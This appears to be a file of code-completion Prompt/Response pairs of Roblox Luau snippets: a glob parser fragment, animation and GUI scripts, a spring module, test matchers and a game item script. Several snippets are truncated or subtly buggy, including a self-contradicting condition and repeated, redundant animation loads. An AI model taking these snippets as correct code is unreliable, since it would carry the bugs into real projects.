			if not Boolean.toJSBoolean(next) then
				-- ROBLOX FIXME Luau: it seems that Luau narrows the type to be singleton type of "\\" and doesn't allow to append anything to it
				value ..= "\\" :: any
				push({ type = "text", value = value })
				continue
			end

			-- collapse slashes to reduce potential for exploits
			local match = (RegExp("^\\\\+")):exec(remaining())
			local slashes = 0

			if match ~= nil and #match[1] > 2 then
				slashes = #match[1]
				state.index += slashes
				if slashes % 2 ~= 0 then
					value ..= "\\"
				end
			end

			if opts.unescape == true then
				value = advance()
			else
				value ..= advance()
			end

			if state.brackets == 0 then
				push({ type = "text", value = value })
				continue
			end
		end

		--[[*
		 * If we're inside a regex character class, continue
		 * until we reach the closing bracket.
		 ]]

		if state.brackets > 0 and (value ~= "]" or prev.value == "[" or prev.value == "[^") then
			if opts.posix ~= false and value == ":" then
				local inner = String.slice(prev.value, 1)
				if inner:find("[") ~= nil then
					prev.posix = true

					if inner:find(":") ~= nil then
						local idx = String.lastIndexOf(prev.value, "[")
						local pre = String.slice(prev.value, 1, idx)
						local rest = String.slice(prev.value, idx + 2)
						local posix = POSIX_REGEX_SOURCE[rest]
						if posix then
							prev.value = pre .. posix
							state.backtrack = true
							advance()

							if
								not Boolean.toJSBoolean(bos.output)
								and Array.indexOf(tokens, prev) == 2 --[[ ROBLOX deviation: added 1 to account for 1-based indexing]]
							then
								bos.output = ONE_CHAR
							end
							continue
						end
					end
				end
			end

			if value == "[" and peek() ~= ":" or value == "-" and peek() == "]" then
				value = ("\\%s"):format(value)
			end

			if value == "]" and (prev.value == "[" or prev.value == "[^") then
				value = ("\\%s"):format(value)
			end

			if opts.posix == true and value == "!" and prev.value == "[" then
				value = "^"
			end

			prev.value ..= value
			append({ value = value })
			continue
		end

		--[[*
		 * If we're inside a quoted string, continue
		 * until we reach the closing double quote.
		 ]]

		if state.quotes == 1 and value ~= '"' then
			value = utils.escapeRegex(value)
			prev.value ..= value
			append({ value = value })
			continue
		end

		--[[*
		 * Double quotes
		 ]]

		if value == '"' then
			state.quotes = state.quotes == 1 and 0 or 1
			if opts.keepQuotes == true then
				push({ type = "text", value = value })
			end
			continue
		end

		--[[*
		 * Parentheses
		 ]]

		if value == "(" then
			increment("parens")
			push({ type = "paren", value = value })
			continue
		end

		if value == ")" then
			if state.parens == 0 and opts.strictBrackets == true then
				error(Error.new("SyntaxError: " .. syntaxError("opening", "(")))
			end

			local extglob = extglobs[#extglobs]
			if extglob ~= nil and state.parens == extglob.parens + 1 then
				extglobClose(table.remove(extglobs) :: Token)
				continue
			end

			push({
				type = "paren",
				value = value,
				output = if Boolean.toJSBoolean(state.parens) then ")" else "\\)",
			})
			decrement("parens")
			continue
		end

		--[[*
		 * Square brackets
		 ]]

		if value == "[" then
			if opts.nobracket == true or not remaining():find("]") ~= nil then
				if opts.nobracket ~= true and opts.strictBrackets == true then
					error(Error.new("SyntaxError: " .. syntaxError("closing", "]")))
				end

				value = ("\\%s"):format(value)
			else
				increment("brackets")
			end

			push({ type = "bracket", value = value })
			continue
		end

		if value == "]" then
			if opts.nobracket == true or (prev ~= nil and prev.type == "bracket" and #prev.value == 1) then
				push({ type = "text", value = value, output = ("\\%s"):format(value) })
				continue
			end
			if state.brackets == 0 then
				if opts.strictBrackets == true then
					error(Error.new("SyntaxError: " .. syntaxError("opening", "[")))
				end

				push({ type = "text", value = value, output = ("\\%s"):format(value) })
				continue
			end

			decrement("brackets")

			local prevValue = String.slice(prev.value, 2)
			if prev.posix ~= true and prevValue:sub(1, 1) == "^" and not prevValue:find("/") ~= nil then
				value = ("/%s"):format(value)
			end

			prev.value ..= value
			append({ value = value })

			-- when literal brackets are explicitly disabled
			-- assume we should match with a regex character class
			if opts.literalBrackets == false or utils.hasRegexChars(prevValue) then
				continue
			end

			local escaped = utils.escapeRegex(prev.value)
			state.output = String.slice(state.output, 1, -#prev.value)

			-- when literal brackets are explicitly enabled
			-- assume we should escape the brackets to match literal characters
			if opts.literalBrackets == true then
				state.output ..= escaped
				prev.value = escaped
				continue
			end

			-- when the user specifies nothing, try to match both
			prev.value = ("(%s%s|%s)"):format(capture, escaped, prev.value)
			state.output ..= prev.value
			continue
		end

		--[[*
		 * Braces
		 ]]

		if value == "{" and opts.nobrace ~= true then
			increment("braces")

			local open = {
				type = "brace",
				value = value,
				output = "(",
				outputIndex = #state.output,
				tokensIndex = #state.tokens,
			}

			table.insert(braces, open)
			push(open)
			continue
		end

		if value == "}" then
			local brace = braces[#braces]

			if opts.nobrace == true or not Boolean.toJSBoolean(brace) then
				push({ type = "text", value = value, output = value })
				continue
			end

			local output = ")"

			if brace.dots == true then
				local arr = Array.slice(tokens)
				local range = {}

				for i = #arr, 1, -1 do
					table.remove(tokens)
					if arr[i].type == "brace" then
						break
					end
					if arr[i].type ~= "dots" then
						table.insert(range, 1, arr[i].value)
					end
				end

				output = expandRange(range, opts)
				state.backtrack = true
			end

			if brace.comma ~= true and brace.dots ~= true then
				local out = String.slice(state.output, 1, brace.outputIndex)
				local toks = Array.slice(state.tokens, brace.tokensIndex)
				brace.output = "\\{"
				brace.value = brace.output
				output = "\\}"
				value = output
				state.output = out
				for _, t in ipairs(toks) do
					state.output ..= if Boolean.toJSBoolean(t.output) then t.output else t.value
				end
			end

			push({ type = "brace", value = value, output = output })
			decrement("braces")
			table.remove(braces)
			continue
		end

		--[[*
		 * Pipes
		 ]]

		if value == "|" then
			if #extglobs > 0 then
				extglobs[#extglobs].conditions += 1
			end
			push({ type = "text", value = value })
			continue
		end

		--[[*
		 * Commas
		 ]]

		if value == "," then
			local output = value

			local brace = braces[#braces]
			if Boolean.toJSBoolean(brace) and stack[#stack] == "braces" then
				brace.comma = true
				output = "|"
			end

			push({ type = "comma", value = value, output = output })
			continue
		end

		--[[*
		 * Slashes
		 ]]

		if value == "/" then
			-- if the beginning of the glob is "./", advance the start
			-- to the current index, and don't add the "./" characters
			-- to the state. This greatly simplifies lookbehinds when
			-- checking for BOS characters like "!" and "." (not "./")
			if prev.type == "dot" and state.index == state.start + 1 then
				state.start = state.index + 1
				state.consumed = ""
				state.output = ""
				table.remove(tokens)
				prev = bos -- reset "prev" to the first token
				continue
			end

			push({ type = "slash", value = value, output = SLASH_LITERAL })
			continue
		end

		--[[*
		 * Dots
		 ]]

		if value == "." then
			if state.braces > 0 and prev.type == "dot" then
				if prev.value == "." then
					prev.output = DOT_LITERAL
				end
				local brace = braces[#braces]
				prev.type = "dots"
				prev.output ..= value
				prev.value ..= value
				brace.dots = true
				continue
			end

			if state.braces + state.parens == 0 and prev.type ~= "bos" and prev.type ~= "slash" then
				push({ type = "text", value = value, output = DOT_LITERAL })
				continue
			end

			push({ type = "dot", value = value, output = DOT_LITERAL })
			continue
		end

		--[[*
		 * Question marks
		 ]]

		if value == "?" then
			local isGroup = Boolean.toJSBoolean(prev) and prev.value == "("
			if not isGroup and opts.noextglob ~= true and peek() == "(" and peek(2) ~= "?" then
				extglobOpen("qmark", value)
				continue
			end

			if Boolean.toJSBoolean(prev) and prev.type == "paren" then
				local next = peek()
				local output = value

				if next == "<" and not utils.supportsLookbehinds() then
					error(Error.new("Node.js v10 or higher is required for regex lookbehinds"))
				end

				if
					(prev.value == "(" and not RegExp("[!=<:]"):test(next))
					or (next == "<" and not RegExp("<([!=]|\\w+>)"):test(remaining()))
				then
					output = ("\\%s"):format(value)
				end

				push({ type = "text", value = value, output = output })
				continue
			end

			if opts.dot ~= true and (prev.type == "slash" or prev.type == "bos") then
				push({ type = "qmark", value = value, output = QMARK_NO_DOT })
				continue
			end

			push({ type = "qmark", value = value, output = QMARK })
			continue
		end

		--[[*
		 * Exclamation
		 ]]

		if value == "!" then
			if opts.noextglob ~= true and peek() == "(" then
				if peek(2) ~= "?" or not RegExp("[!=<:]"):test(peek(3)) then
					extglobOpen("negate", value)
					continue
				end
			end

			if opts.nonegate ~= true and state.index == 1 then
				negate()
				continue
			end
		end

		--[[*
		 * Plus
		 ]]

		if value == "+" then
			if opts.noextglob ~= true and peek() == "(" and peek(2) ~= "?" then
				extglobOpen("plus", value)
				continue
			end

			if prev ~= nil and prev.value == "(" or opts.regex == false then
				push({ type = "plus", value = value, output = PLUS_LITERAL })
				continue
			end

			if
				(prev ~= nil and (prev.type == "bracket" or prev.type == "paren" or prev.type == "brace"))
				or state.parens > 0
			then
				push({ type = "plus", value = value })
				continue
			end

			push({ type = "plus", value = PLUS_LITERAL })
			continue
		end

		--[[*
		 * Plain text
		 ]]

		if value == "@" then
			if opts.noextglob ~= true and peek() == "(" and peek(2) ~= "?" then
				push({ type = "at", extglob = true, value = value, output = "" })
				continue
			end

			push({ type = "text", value = value })
			continue
		end

		--[[*
		 * Plain text
		 ]]

		if value ~= "*" then
			if value == "$" or value == "^" then
				value = ("\\%s"):format(value)
			end

			local match = string.match(remaining(), REGEX_NON_SPECIAL_CHARS)
			if match ~= nil then
				value ..= match
				state.index += #match
			end

			push({ type = "text", value = value })
			continue
		end

		--[[*
		 * Stars
		 ]]

		if prev ~= nil and (prev.type == "globstar" or prev.star == true) then
			prev.type = "star"
			prev.star = true
			prev.value ..= value
			prev.output = star
			state.backtrack = true
			state.globstar = true
			consume(value)
			continue
		end

		local rest = remaining()
		if Boolean.toJSBoolean(opts.noextglob ~= true and RegExp("^\\([^?]"):test(rest)) then
			extglobOpen("star", value)
			continue
		end

		if prev.type == "star" then
			if opts.noglobstar == true then
				consume(value)
				continue
			end

			local prior = prev.prev
			local before = prior.prev
			local isStart = prior.type == "slash" or prior.type == "bos"
			local afterStar = if Boolean.toJSBoolean(before)
				then before.type == "star" or before.type == "globstar"
				else before

			if opts.bash == true and (not isStart or (rest:sub(1, 1) ~= nil and rest:sub(1, 1) ~= "/")) then
				push({ type = "star", value = value, output = "" })
				continue
			end

			local isBrace = state.braces > 0 and (prior.type == "comma" or prior.type == "brace")
			local isExtglob = #extglobs > 0 and (prior.type == "pipe" or prior.type == "paren")
			if not isStart and prior.type ~= "paren" and not isBrace and not isExtglob then
				push({ type = "star", value = value, output = "" })
				continue
			end

			-- strip consecutive `/**/`
			while String.slice(rest, 1, 4) == "/**" do
				local after = input:sub(state.index + 4, state.index + 4)
				if Boolean.toJSBoolean(after) and after ~= "/" then
					break
				end
				rest = String.slice(rest, 4)
				consume("/**", 3)
			end

			if prior.type == "bos" and eos() then
				prev.type = "globstar"
				prev.value ..= value
				prev.output = globstar(opts)
				state.output = prev.output
				state.globstar = true
				consume(value)
				continue
			end

			if prior.type == "slash" and prior.prev.type ~= "bos" and not Boolean.toJSBoolean(afterStar) and eos() then
				state.output = String.slice(state.output, 1, -#(prior.output .. prev.output))
				prior.output = ("(?:%s"):format(prior.output)

				prev.type = "globstar"
				prev.output = globstar(opts) .. (if opts.strictSlashes then ")" else "|$)")
				prev.value ..= value
				state.globstar = true
				state.output ..= prior.output .. prev.output
				consume(value)
				continue
			end

			if prior.type == "slash" and prior.prev.type ~= "bos" and rest:sub(1, 1) == "/" then
				local end_ = if rest:sub(2, 2) ~= nil then "|$" else ""

				state.output = String.slice(state.output, 1, -#(prior.output .. prev.output))
				prior.output = ("(?:%s"):format(prior.output)

				prev.type = "globstar"
				prev.output = ("%s%s|%s%s)"):format(globstar(opts), SLASH_LITERAL, SLASH_LITERAL, end_)
				prev.value ..= value

				state.output ..= prior.output .. prev.output
				state.globstar = true

				consume(value .. advance())

				push({ type = "slash", value = "/", output = "" })
				continue
			end

			if prior.type == "bos" and rest:sub(1, 1) == "/" then
				prev.type = "globstar"
				prev.value ..= value
				prev.output = ("(?:^|%s|%s%s)"):format(SLASH_LITERAL, globstar(opts), SLASH_LITERAL)
				state.output = prev.output
				state.globstar = true
				consume(value .. advance())
				push({ type = "slash", value = "/", output = "" })
				continue
			end

			-- remove single star from output
			state.output = String.slice(state.output, 1, -#prev.output)

			-- reset previous token to globstar
			prev.type = "globstar"
			prev.output = globstar(opts)
			prev.value ..= value

			-- reset output with globstar
			state.output ..= prev.output
			state.globstar = true
			consume(value)
			continue
		end

		local token = { type = "star", value = value, output = star }

		if opts.bash == true then
			token.output = ".*?"
			if prev.type == "bos" or prev.type == "slash" then
				token.output = nodot .. token.output
			end
			push(token)
			continue
		end

		if prev ~= nil and (prev.type == "bracket" or prev.type == "paren") and opts.regex == true then
			token.output = value
			push(token)
			continue
		end

		if state.index == state.start or prev.type == "slash" or prev.type == "dot" then
			if prev.type == "dot" then
				state.output ..= NO_DOT_SLASH
				prev.output ..= NO_DOT_SLASH
			elseif opts.dot == true then
				state.output ..= NO_DOTS_SLASH
				prev.output ..= NO_DOTS_SLASH
			else
				state.output ..= nodot
				prev.output ..= nodot
			end

			if peek() ~= "*" then
				state.output ..= ONE_CHAR
				prev.output ..= ONE_CHAR
			end
		end

		push(token)
	end

	while state.brackets > 0 do
		if opts.strictBrackets == true then
			error(Error.new("SyntaxError: " .. syntaxError("closing", "]")))
		end
		state.output = utils.escapeLast(state.output, "[")
		decrement("brackets")
	end

	while state.parens > 0 do
		if opts.strictBrackets == true then
			error(Error.new("SyntaxError: " .. syntaxError("closing", ")")))
		end
		state.output = utils.escapeLast(state.output, "(")
		decrement("parens")
	end

	while state.braces > 0 do
		if opts.strictBrackets == true then
			error(Error.new("SyntaxError: " .. syntaxError("closing", "}")))
		end
		state.output = utils.escapeLast(state.output, "{")
		decrement("braces")
	end

	if opts.strictSlashes ~= true and (prev.type == "star" or prev.type == "bracket") then
		push({ type = "maybe_slash", value = "", output = ("%s?"):format(SLASH_LITERAL) })
	end

	-- rebuild the output if we had to backtrack at any point
	if state.backtrack == true then
		state.output = ""

		for _, token: Token in ipairs(state.tokens) do
			state.output ..= if token.output ~= nil then token.output else token.value

			if token.suffix then
				state.output ..= token.suffix
			end
		end
	end
	return state
end


Prompt:
--[[do
	local SwordPodium = require(script.SwordPodium)
	for i,v in pairs(game:GetService("CollectionService"):GetTagged("SwordPodium")) do
		local Podium = SwordPodium.new(v)
	end

end]]

Response: return this


Prompt: -- functions

Response:
function StopAllAnimations()
	local OldAnim = CurrentAnim

	-- return to idle if finishing an emote
	if EmoteNames[OldAnim] and not EmoteNames[OldAnim] then
		OldAnim = "Idle"
	end

	CurrentAnim = ""

	if CurrentAnimKeyframeHandler then
		CurrentAnimKeyframeHandler:disconnect()
	end

	if CurrentAnimTrack then
		CurrentAnimTrack:Stop()
		CurrentAnimTrack:Destroy()
		CurrentAnimTrack = nil
	end
	return OldAnim
end

function SetAnimationSpeed(Speed)
	if Speed ~= CurrentAnimSpeed then
		CurrentAnimSpeed = Speed
		CurrentAnimTrack:AdjustSpeed(CurrentAnimSpeed)
	end
end

function KeyframeReachedFunc(FrameName)
	if FrameName == "End" then


Prompt: -- Waits for the child of the specified parent

Response:
local function WaitForChild(parent, childName)
	while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
	return parent[childName]
end

local Tool = script.Parent

local Animations = {}
local MyHumanoid
local MyCharacter

local function PlayAnimation(animationName)
	if Animations[animationName] then
		Animations[animationName]:Play()
	end
end

local function StopAnimation(animationName)
	if Animations[animationName] then
		Animations[animationName]:Stop()
	end
end

function OnEquipped(mouse)
	MyCharacter = Tool.Parent
	MyHumanoid = WaitForChild(MyCharacter, 'Humanoid')
	if MyHumanoid then
		Animations['IdleAnim3'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
		Animations['IdleAnim3'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
		Animations['IdleAnim3'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
		Animations['IdleAnim3'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
		Animations['IdleAnim3'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
		Animations['IdleAnim3'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
	end
	PlayAnimation('IdleAnim3')
	PlayAnimation('IdleAnim3')
end

function OnUnequipped()
	for animName, _ in pairs(Animations) do
		StopAnimation(animName)
	end
end

Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

WaitForChild(Tool, 'PlayIdleAnim3').Changed:connect(
	function (value)
		--if value then
			PlayAnimation('IdleAnim3')
		--else
		--	StopAnimation('IdleAnim3')
		--end
	end)

WaitForChild(Tool, 'PlayIdleAnim3').Changed:connect(
	function (value)
		--if value then
			PlayAnimation('IdleAnim3')
		--else
		--	StopAnimation('IdleAnim3')
		--end
	end)

WaitForChild(Tool, 'PlayIdleAnim3').Changed:connect(
	function (value)
		--if value then
			PlayAnimation('IdleAnim3')
		--else
		--	StopAnimation('IdleAnim3')
		--end
	end)


Prompt: --//Events--

Response:
game:GetService("RunService").RenderStepped:Connect(function()
	--//Visible--
	for i, part in pairs(character:GetChildren()) do
		if string.match(part.Name, "Leg") or string.match(part.Name, "Foot") then
			part.LocalTransparencyModifier = 0
		end
	end
end)


Prompt: -- GUI Elements

Response:
local SelectionFrame = script.Parent
local List = SelectionFrame:FindFirstChild("List")
local Container = List:FindFirstChild("Container")
local UIGridLayout = Container:FindFirstChild("UIGridLayout")
local Selected = SelectionFrame:FindFirstChild("Selected")
local SelectedName = SelectionFrame:FindFirstChild("SelectedName")
local InfoFrames = SelectionFrame:FindFirstChild("InfoFrames")
local InfoFrame
if IS_CONSOLE then
	InfoFrame = InfoFrames:FindFirstChild("InfoFrameConsole")
elseif IS_MOBILE then
	InfoFrame = InfoFrames:FindFirstChild("InfoFrameMobile")
else
	InfoFrame = InfoFrames:FindFirstChild("InfoFrame")
end
local ExitButton = SelectionFrame:FindFirstChild("ExitButton")
local SelectButton = SelectionFrame:FindFirstChild("SelectButton")
local InfoButton = SelectionFrame:FindFirstChild("InfoButton")
local InfoExitButton = InfoFrame:FindFirstChild("ExitButton")
local PlayerGui = player:WaitForChild("PlayerGui")
local TopBar = PlayerGui:WaitForChild("TopBar")


Prompt:
--[=[
	Returns the viewport point ray for the mouse at the current mouse
	position (or the override position if provided).
]=]

Response:
function Mouse:GetRay(overridePos: Vector2?): Ray
	local mousePos = overridePos or UserInputService:GetMouseLocation()
	local viewportMouseRay = workspace.CurrentCamera:ViewportPointToRay(mousePos.X, mousePos.Y)
	return viewportMouseRay
end


Prompt: -- Get references to the DockShelf and its children

Response:
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.CSafari
local opened = aFinderButton.Opened
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent


Prompt:
--[=[
	The current position at the given clock time. Assigning the position will change the spring to have that position.

	```lua
	local spring = Spring.new(0)
	print(spring.Position) --> 0
	```

	@prop Position T
	@within Spring
]=]
--[=[
	Alias for [Spring.Position](/api/Spring#Position)

	@prop p T
	@within Spring
]=]
--[=[
	The current velocity. Assigning the velocity will change the spring to have that velocity.

	```lua
	local spring = Spring.new(0)
	print(spring.Velocity) --> 0
	```

	@prop Velocity T
	@within Spring
]=]
--[=[
	Alias for [Spring.Velocity](/api/Spring#Velocity)

	@prop v T
	@within Spring
]=]
--[=[
	The current target. Assigning the target will change the spring to have that target.

	```lua
	local spring = Spring.new(0)
	print(spring.Target) --> 0
	```

	@prop Target T
	@within Spring
]=]
--[=[
	Alias for [Spring.Target](/api/Spring#Target)
	@prop t T
	@within Spring
]=]
--[=[
	The current damper, defaults to 1. At 1 the spring is critically damped. At less than 1, it
	will be underdamped, and thus, bounce, and at over 1, it will be critically damped.

	@prop Damper number
	@within Spring
]=]
--[=[
	Alias for [Spring.Damper](/api/Spring#Damper)

	@prop d number
	@within Spring
]=]
--[=[
	The speed, defaults to 1, but should be between [0, infinity)

	@prop Speed number
	@within Spring
]=]
--[=[
	Alias for [Spring.Speed](/api/Spring#Speed)

	@prop s number
	@within Spring
]=]
--[=[
	The current clock object to syncronize the spring against.

	@prop Clock () -> number
	@within Spring
]=]

Response:
function Spring:__index(index)
	if Spring[index] then
		return Spring[index]
	elseif index == "Value" or index == "Position" or index == "p" then
		local position, _ = self:_positionVelocity(self._clock())
		return position
	elseif index == "Velocity" or index == "v" then
		local _, velocity = self:_positionVelocity(self._clock())
		return velocity
	elseif index == "Target" or index == "t" then
		return self._target
	elseif index == "Damper" or index == "d" then
		return self._damper
	elseif index == "Speed" or index == "s" then
		return self._speed
	elseif index == "Clock" then
		return self._clock
	else
		error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
	end
end

function Spring:__newindex(index, value)
	local now = self._clock()

	if index == "Value" or index == "Position" or index == "p" then
		local _, velocity = self:_positionVelocity(now)
		self._position0 = value
		self._velocity0 = velocity
		self._time0 = now
	elseif index == "Velocity" or index == "v" then
		local position, _ = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = value
		self._time0 = now
	elseif index == "Target" or index == "t" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._target = value
		self._time0 = now
	elseif index == "Damper" or index == "d" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._damper = value
		self._time0 = now
	elseif index == "Speed" or index == "s" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._speed = value < 0 and 0 or value
		self._time0 = now
	elseif index == "Clock" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._clock = value
		self._time0 = value()
	else
		error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
	end
end

function Spring:_positionVelocity(now)
	local p0 = self._position0
	local v0 = self._velocity0
	local p1 = self._target
	local d = self._damper
	local s = self._speed

	local t = s*(now - self._time0)
	local d2 = d*d

	local h, si, co
	if d2 < 1 then
		h = math.sqrt(1 - d2)
		local ep = math.exp(-d*t)/h
		co, si = ep*math.cos(h*t), ep*math.sin(h*t)
	elseif d2 == 1 then
		h = 1
		local ep = math.exp(-d*t)/h
		co, si = ep, ep*t
	else
		h = math.sqrt(d2 - 1)
		local u = math.exp((-d + h)*t)/(2*h)
		local v = math.exp((-d - h)*t)/(2*h)
		co, si = u + v, u - v
	end

	local a0 = h*co + d*si
	local a1 = 1 - (h*co + d*si)
	local a2 = si/s

	local b0 = -s*si
	local b1 = s*si
	local b2 = h*co - d*si

	return
		a0*p0 + a1*p1 + a2*v0,
		b0*p0 + b1*p1 + b2*v0
end

return Spring


Prompt: -- assume we are in the character, let's check

Response:
function sepuku()
	script.Parent = nil
end

function grapeMe(character)
	local shirt = character:FindFirstChild("Shirt")
	local pants = character:FindFirstChild("Pants")

	if (shirt ~= nil) then shirt:Remove() end
	if (pants ~= nil) then pants:Remove() end

	local c = character:GetChildren()
	for i=1,#c do
		if (c[i].className == "Part") then
			c[i].Material = Enum.Material.Ice
			c[i].BrickColor = BrickColor.new("Magenta")
		end
	end
end

function UpdateUI(timeleft)
	local player = game.Players:GetPlayerFromCharacter(script.Parent)
	player.PlayerGui.GrapeGUI.Frame.Frame.Time.Text = timeleft .. " seconds"

	if (timeleft < 10) then
		player.PlayerGui.GrapeGUI.Frame.Frame.Warning.TextColor = BrickColor.new("Really red")
		if (timeleft % 2 == 1) then
			player.PlayerGui.GrapeGUI.Frame.Frame.Warning.Text = "WARNING"
		else
			player.PlayerGui.GrapeGUI.Frame.Frame.Warning.Text = "Mindgrapes on FIRE!!!"
		end
	else
		player.PlayerGui.GrapeGUI.Frame.Frame.Warning.TextColor = BrickColor.new("Hot pink")
		player.PlayerGui.GrapeGUI.Frame.Frame.Warning.Text = "Mindgrapes Ok..."
	end
end

local h = script.Parent:FindFirstChild("Humanoid")

if (h == nil) then sepuku() end

local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 2

h.MaxHealth = h.MaxHealth * .25
if (h.Health > h.MaxHealth) then h.Health = h.MaxHealth end

local torso = script.Parent:FindFirstChild("Torso")

if (torso == nil) then sepuku() end

local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end

local Hyper = Instance.new("Sound")
Hyper.SoundId = "http://www.roblox.com/asset/?id=16950418"
Hyper.Parent = head
Hyper.Volume = .5
Hyper:Play()

grapeMe(h.Parent)

local played = false

while true do

	local count = script:FindFirstChild("GrapeTroubleCountdown")
	if (count == nil) then
		count = Instance.new("IntValue")
		count.Name = "GrapeTroubleCountdown"
		count.Value = 30
		count.Parent = h
	else
		count.Value = count.Value - 1
		if (count.Value < 0) then

			local sound = Instance.new("Sound")
			sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
			sound.Parent = head
			sound.Volume = 1
			sound:play()

			local e = Instance.new("Explosion")
			e.BlastRadius = 4
			e.Position = head.Position

			e.Parent = head

		else
			if (Hyper.IsPlaying == false and played == false) then Hyper:Play() played = true end
			UpdateUI(count.Value)
		end
	end

	wait(1)
end


Response:
local Handler = require(script.MainHandler)
local HitboxClass = require(script.HitboxObject)

function RaycastHitbox:Initialize(object, ignoreList)
	assert(object, "You must provide an object instance.")

	local newHitbox = Handler:check(object)
	if not newHitbox then
		newHitbox = HitboxClass:new()
		newHitbox:config(object, ignoreList)
		newHitbox:seekAttachments(RaycastHitbox.AttachmentName, RaycastHitbox.WarningMessage)
		newHitbox.debugMode = game:GetService("ReplicatedStorage"):WaitForChild("ClientSettings").Debug.Value
		Handler:add(newHitbox)
	end
	return newHitbox
end

function RaycastHitbox:Deinitialize(object) --- Deprecated
	Handler:remove(object)
end

function RaycastHitbox:GetHitbox(object)
   return Handler:check(object)
end

return RaycastHitbox


Prompt: -- Services

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local ServerScriptService = game:GetService("ServerScriptService")


Prompt:
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	plrData.Money.Gold.Value = plrData.Money.Gold.Value - 45 -- TODO track for dissertation
		local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
	ClassInformationTable:GetClassFolder(player,"Brawler").Obtained.Value = true
	ClassInformationTable:GetClassFolder(player,"Brawler").GroundPound.Value = true
end


Prompt: -- ROBLOX deviation: Roblox Instance matchers

Response:
local function toMatchInstance(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: any
)
	local matcherName = "toMatchInstance"
	local options: MatcherHintOptions = {
		isNot = self.isNot,
		promise = self.promise,
	}

	if getType(received) ~= "Instance" or received == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a Roblox Instance", RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	if typeof(expected) ~= "table" or expected == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a table", EXPECTED_COLOR("expected")),
					printWithType("Expected", expected, printExpected)
				)
			)
		)
	end

	local pass = equals(received, expected, { instanceSubsetEquality })

	local message
	if pass then
		message = function()
			local retval = matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format("Expected: never %s", printExpected(expected))
			if stringify(expected) ~= stringify(received) then
				return retval .. string.format("\nReceived:       %s", printReceived(received))
			end
			return retval
		end
	else
		local receivedSubset, expectedSubset = getInstanceSubset(received, expected)
		message = function()
			return matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. printDiffOrStringify(
					expectedSubset,
					receivedSubset,
					EXPECTED_LABEL,
					RECEIVED_LABEL,
					isExpand(self.expand)
				)
		end
	end

	return { message = message, pass = pass }
end

local matchers: MatchersObject = {
	toBe = toBe,
	toBeCloseTo = toBeCloseTo,
	toBeDefined = toBeDefined,
	toBeFalsy = toBeFalsy,
	toBeGreaterThan = toBeGreaterThan,
	toBeGreaterThanOrEqual = toBeGreaterThanOrEqual,
	toBeInstanceOf = toBeInstanceOf,
	toBeLessThan = toBeLessThan,
	toBeLessThanOrEqual = toBeLessThanOrEqual,
	toBeNan = toBeNan,
	toBeNaN = toBeNan, -- ROBLOX deviation: aliased to toBeNan
	toBeNil = toBeNil,
	toBeNull = toBeNil, -- ROBLOX deviation: aliased to toBeNil
	toBeTruthy = toBeTruthy,
	toBeUndefined = toBeUndefined,
	toContain = toContain,
	toContainEqual = toContainEqual,
	toEqual = toEqual,
	toHaveLength = toHaveLength,
	toHaveProperty = toHaveProperty,
	toMatch = toMatch,
	toMatchObject = toMatchObject,
	toStrictEqual = toStrictEqual,

	-- ROBLOX deviation: Roblox Instance matchers
	toMatchInstance = toMatchInstance,
}

return matchers


Prompt: --FieldOfView--

Response:
local mouse = Player:GetMouse()
local Info = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local Properties = {FieldOfView = FieldOfView}
local T = game:GetService("TweenService"):Create(game.Workspace.CurrentCamera, Info, Properties)
local rProperties = {FieldOfView = 70}
local rInfo = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local rT = game:GetService("TweenService"):Create(game.Workspace.CurrentCamera, rInfo, rProperties)


Prompt:
--Procedural Lightning Module. By Quasiduck
--License: See GitHub
--See README for guide on how to use or scroll down to see all properties in LightningBolt.new
--All properties update in real-time except PartCount which requires a new LightningBolt to change
--i.e. You can change a property at any time and it will still update the look of the bolt

Response:
local clock = os.clock

local function DiscretePulse(input, s, k, f, t, min, max) --input should be between 0 and 1. See https://www.desmos.com/calculator/hg5h4fpfim for demonstration.
	return math.clamp( (k)/(2*f) - math.abs( (input - t*s + 0.5*(k)) / (f) ), min, max )
end

local function NoiseBetween(x, y, z, min, max)
